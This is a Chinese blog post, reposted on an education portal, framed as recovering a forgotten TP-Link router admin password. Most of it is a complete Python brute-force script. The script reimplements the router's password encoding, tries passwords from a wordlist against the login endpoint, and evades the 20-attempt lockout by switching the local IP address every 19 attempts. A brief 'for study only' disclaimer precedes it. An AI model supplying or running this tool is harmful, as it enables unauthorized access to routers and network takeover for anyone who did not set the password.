找回TPLINK后台登录密码

:2025年03月26日 本站(微博
分享到:

本文介绍了如何使用Python实现Burp Suite进行登录密码的破解。首先,需要抓包查看请求,发现数据是加密的。然后,通过模拟登录,当返回error_code为0表示登录成功。最后,通过限制IP被封,我们需要注意更...

TPLINK设备是日常生活中最常见的网络设备。有时候我们需要恢复路由器的登录密码。往往是采用爆破的形式。想着利用神器Burp直接暴力破解,通过抓包一脸懵逼~

注:本文仅供学习,坚决反对一切危害网络安全的行为。造成法律后果自行负责!

先按照以往思路,抓包查看请求。

不难看到,数据是加密了。

djEvMnBWSVQzVlA0WkRtNl9ib1lhU2xiZGI1U2V3TVc1R0RsbXVkdktQcUlzOHhuSERZSzR4MUR3dGNmUmJlN0tOSnZnQ3g1bkRnTllCTW5YNmdYSC1nZEZfNl9ya2oxaXk1bVZqR01XNzhoSjQ9.jpg

{"method":"do","login":{"password":"0wL8rbhc9TefbwK"}}

其中的加密方法

查阅了这位大佬的博客:https://blog.csdn.net/oMaFei/article/details/94592388 通过Python实现了模拟登录。当返回error_code为0表示登录成功。

djEvbXU5ekRaMEZXZF9XR0ZjVUZGMHZyWXRBVTNaaEUyMTlwTFhRbDZpdDAwQXNJMTB4ak1TSnREd2ZZMVNiVXRFa3dYZXBuVVFfamFVUjgwcWg2M1RLNmxfNl9ya2oxaXk1bVZqR01XNzhoSjQ9.jpg

解决IP被封

TPKINK等登录IP做了限制,错误20次后,自动封锁此IP。因此,我们我们需要不断更换IP地址。为了使破解顺利,我对一个IP只用19次,用完后,立马切换IP地址。

djEvTnpCS05FWnRvblZCc1JrZzRZYlJMQnhLdmp0NUlHZWhpMVB3SVlIN3ZuSmpCbHp5MGtGVE90Vmxoc2JfZDYydy13WWtnZ01rankxaFNadmxFbktrTlZfNl9ya2oxaXk1bVZqR01XNzhoSjQ9.jpg

sudo ip addr del 192.168.0.109/24 dev eth0 #删除IP

sudo ip addr add 192.168.0.100/24 dev eth0 #添加IP

完整代码

#!/usr/bin/env python

# -*- coding:utf8 -*-

import requests

import json

import random

import time

from concurrent.futures import ThreadPoolExecutor

import sys

import subprocess

import re

import logging

import os

from functools import partial

# 配置日志

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

logger = logging.getLogger(__name__)

class NetworkManager:

    def __init__(self, interface='eth0', gateway='192.168.0.1'):

        self.interface = interface

        self.gateway = gateway

        self.used_ips = set()

        self.current_ip_attempts = 0# 当前IP的尝试次数

        self.max_attempts_per_ip = 19# 每个IP最多尝试次数

    def get_current_ip(self):

        """获取当前IP地址"""

        try:

            result = subprocess.run(['ip', 'addr', 'show', self.interface], 

                                 capture_output=True, text=True)

            ip_match = re.search(r'inet (\d+\.\d+\.\d+\.\d+)', result.stdout)

            if ip_match:

                return ip_match.group(1)

            returnNone

        except Exception as e:

            logger.error(f"获取当前IP失败: {str(e)}")

            returnNone

    def generate_new_ip(self):

        """生成新的IP地址"""

        whileTrue:

            new_ip = f"192.168.0.{random.randint(2, 254)}"

            if new_ip notin self.used_ips:

                self.used_ips.add(new_ip)

                return new_ip

    def change_ip(self):

        """修改IP地址"""

        new_ip = self.generate_new_ip()

        logger.info(f"正在尝试切换到新IP: {new_ip}")

        try:

            current_ip = self.get_current_ip()

            if current_ip:

                # 删除当前IP

                logger.info(f"删除当前IP {current_ip}...")

                subprocess.run(['ip', 'addr', 'del', f"{current_ip}/24", 'dev', self.interface], 

                             check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

            # 添加新IP

            logger.info("正在添加新IP地址...")

            subprocess.run(['ip', 'addr', 'add', f"{new_ip}/24", 'dev', self.interface], 

                         check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

            # 等待网络连接生效

            logger.info("等待网络连接生效...")

            time.sleep(2)

            # 验证IP是否更改成功

            current_ip = self.get_current_ip()

            if current_ip == new_ip:

                logger.info(f"IP已成功更改为: {new_ip}")

                self.current_ip_attempts = 0# 重置尝试次数

                returnTrue

            else:

                logger.error(f"IP更改失败,当前IP: {current_ip}")

                returnFalse

        except subprocess.CalledProcessError as e:

            logger.error(f"修改IP失败: {e.stderr.decode().strip()}")

            returnFalse

        except Exception as e:

            logger.error(f"修改IP失败: {str(e)}")

            returnFalse

    def should_change_ip(self):

        """检查是否需要切换IP"""

        self.current_ip_attempts += 1

        if self.current_ip_attempts >= self.max_attempts_per_ip:

            logger.info(f"当前IP已使用{self.current_ip_attempts}次,准备切换...")

            returnTrue

        returnFalse

class LoginTpLink(object):

    def __init__(self, network_manager):

        self.stok = None

        self.success = False

        self.password = None

        self.network_manager = network_manager

        self.failed_attempts = 0

        self.max_failed_attempts = 15# 在达到20次之前就切换IP

    def is_ip_blocked(self, response):

        """检查IP是否被封"""

        try:

            result = json.loads(response.text)

            if'error_code'in result and result['error_code'] == -1:

                returnTrue

            returnFalse

        except:

            returnFalse

    def login(self, password):

        encryptPwd = self.encrypt_pwd(password)

        url = 'http://192.168.0.1/'

        headers = {

            'Content-Type': 'application/json; charset=UTF-8'

        }

        payload = '{"method":"do","login":{"password":"%s"}}' % encryptPwd

        try:

            if self.network_manager.should_change_ip():

                logger.info("当前IP使用次数已达上限,切换IP...")

                ifnot self.network_manager.change_ip():

                    logger.error("IP切换失败,等待60秒后重试...")

                    time.sleep(60)

                    returnFalse

                self.failed_attempts = 0

                return self.login(password)  # 使用新IP重试

            response = requests.post(url, data=payload, headers=headers, timeout=5)

            if self.is_ip_blocked(response):

                logger.warning("检测到IP被封,正在切换IP...")

                ifnot self.network_manager.change_ip():

                    logger.error("IP切换失败,等待60秒后重试...")

                    time.sleep(60)

                    returnFalse

                self.failed_attempts = 0

                return self.login(password)  # 使用新IP重试

            result = json.loads(response.text)

            if result.get('error_code') == 0:

                self.success = True

                self.password = password

                self.stok = result.get('stok')

                returnTrue

            self.failed_attempts += 1

            if self.failed_attempts >= self.max_failed_attempts:

                logger.warning(f"失败次数达到{self.max_failed_attempts}次,切换IP...")

                ifnot self.network_manager.change_ip():

                    logger.error("IP切换失败,等待60秒后重试...")

                    time.sleep(60)

                    returnFalse

                self.failed_attempts = 0

                return self.login(password)  # 使用新IP重试

            returnFalse

        except Exception as e:

            logger.error(f"尝试密码 {password} 时发生错误: {str(e)}")

            returnFalse

    def encrypt_pwd(self, password):

        input1 = "RDpbLfCPsJZ7fiv"

        input3 = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"

        len1 = len(input1)

        len2 = len(password)

        dictionary = input3

        lenDict = len(dictionary)

        output = ''

        if len1 > len2:

            length = len1

        else:

            length = len2

        index = 0

        while index < length:

            cl = 187

            cr = 187

            if index >= len1:

                cr = ord(password[index])

            elif index >= len2:

                cl = ord(input1[index])

            else:

                cl = ord(input1[index])

                cr = ord(password[index])

            index += 1

            output = output + chr(ord(dictionary[cl ^ cr]) % lenDict)

        return output

def try_password(password, network_manager):

    login_tp_link = LoginTpLink(network_manager)

    if login_tp_link.login(password):

        logger.info(f"\n[+] 成功找到密码: {password}")

        return password

    returnNone

def main():

    if len(sys.argv) != 2:

        print("使用方法: sudo python 11.py <密码字典文件路径>")

        sys.exit(1)

    password_file = sys.argv[1]

    try:

        with open(password_file, 'r', encoding='utf-8') as f:

            passwords = [line.strip() for line in f if line.strip()]

    except Exception as e:

        logger.error(f"读取密码字典文件时发生错误: {str(e)}")

        sys.exit(1)

    logger.info(f"[*] 已加载 {len(passwords)} 个密码")

    network_manager = NetworkManager(interface='eth0')  # 根据实际情况修改接口名称

    logger.info("开始切换初始IP...")

    ifnot network_manager.change_ip():

        logger.error("初始IP切换失败,退出程序")

        sys.exit(1)

    logger.info("[*] 开始尝试破解...")

    with ThreadPoolExecutor(max_workers=3) as executor:

        func = partial(try_password, network_manager=network_manager)

        results = list(executor.map(func, passwords))

    success_passwords = [p for p in results if p isnotNone]

    if success_passwords:

        logger.info(f"\n[+] 破解成功!找到 {len(success_passwords)} 个有效密码:")

        for pwd in success_passwords:

            logger.info(f"    - {pwd}")

    else:

        logger.info("\n[-] 未找到有效密码")

if __name__ == '__main__':

    main()

使用方法

python3 11.py pass.txt #pass.txt为你的字典

注意,修改代码中,路由器的网关192.168.0.1根据你的实际进行修改。

djEvV2ZSYnc3MVdlb3ltc2VGRnN5MW9DUU14OF85Qm9ROTF4QklDdkp0cEE3NXVwRUNCaEQyNzdPLTlpSC0zR0ZWaWVWcHpwQ05JbVQzMVhhWXozemMydFZfNl9ya2oxaXk1bVZqR01XNzhoSjQ9.jpg

原文来源:https://mp.weixin.qq.com/s/rPm0RzlPvfDBwngZU19Akg

[我要纠错]
[ 编辑:宋聪乔 &发表于江苏 ]
关键词: TPLINK 设备 日常生活 中最 常见

来源:本文内容搜集或转自各大网络平台,并已注明来源、出处,如果转载侵犯您的版权或非授权发布,请联系小编,我们会及时审核处理。
声明:江苏教育黄页对文中观点保持中立,对所包含内容的准确性、可靠性或者完整性不提供任何明示或暗示的保证,不对文章观点负责,仅作分享之用,文章版权及插图属于原作者。

点个赞
0
踩一脚
0

您在阅读:找回TPLINK后台登录密码

Copyright©2013-2025  JSedu114 All Rights Reserved. 江苏教育信息综合发布查询平台保留所有权利

苏公网安备32010402000125 苏ICP备14051488号-3技术支持:南京博盛蓝睿网络科技有限公司

南京思必达教育科技有限公司版权所有   百度统计

最热文章
最新文章
  • 阿里云上云钜惠,云产品享最低成本,有需要联系,
  • 卡尔蔡司镜片优惠店,镜片价格低
  • 苹果原装手机壳